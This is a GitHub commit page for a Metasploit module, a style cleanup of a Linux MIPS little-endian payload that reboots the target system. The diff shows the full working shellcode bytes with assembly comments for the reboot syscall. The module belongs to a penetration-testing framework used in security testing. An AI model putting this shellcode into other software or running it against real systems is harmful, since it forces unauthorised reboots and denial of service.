Skip to content

Commit 045900b

Browse files
committed
Land rapid7#3084, msftidy for mipsle reboot shellcode
2 parents 7da54eb + 46c11ea commit 045900b

File tree

1 file changed

+11
-12
lines changed
  • modules/payloads/singles/linux/mipsle

1 file changed

+11
-12
lines changed

modules/payloads/singles/linux/mipsle/reboot.rb

Lines changed: 11 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -12,10 +12,10 @@ module Metasploit3
1212

1313
def initialize(info = {})
1414
super(merge_info(info,
15-
'Name' => 'Linux reboot payload',
15+
'Name' => 'Linux Reboot',
1616
'Description' => %q{
17-
A very small shellcode for rebooting the system.
18-
This payload is sometimes helpfull for testing purposes.
17+
A very small shellcode for rebooting the system.
18+
This payload is sometimes helpful for testing purposes.
1919
},
2020
'Author' =>
2121
[
@@ -35,16 +35,15 @@ def initialize(info = {})
3535
end
3636

3737
def generate
38-
3938
shellcode =
40-
"\x21\x43\x06\x3c" + #lui a2,0x4321
41-
"\xdc\xfe\xc6\x34" + #ori a2,a2,0xfedc
42-
"\x12\x28\x05\x3c" + #lui a1,0x2812
43-
"\x69\x19\xa5\x34" + #ori a1,a1,0x1969
44-
"\xe1\xfe\x04\x3c" + #lui a0,0xfee1
45-
"\xad\xde\x84\x34" + #ori a0,a0,0xdead
46-
"\xf8\x0f\x02\x24" + #li v0,4088
47-
"\x0c\x01\x01\x01" #syscall 0x40404
39+
"\x21\x43\x06\x3c" + # lui a2,0x4321
40+
"\xdc\xfe\xc6\x34" + # ori a2,a2,0xfedc
41+
"\x12\x28\x05\x3c" + # lui a1,0x2812
42+
"\x69\x19\xa5\x34" + # ori a1,a1,0x1969
43+
"\xe1\xfe\x04\x3c" + # lui a0,0xfee1
44+
"\xad\xde\x84\x34" + # ori a0,a0,0xdead
45+
"\xf8\x0f\x02\x24" + # li v0,4088
46+
"\x0c\x01\x01\x01" # syscall 0x40404
4847

4948
return super + shellcode
5049
end

0 commit comments

Comments
 (0)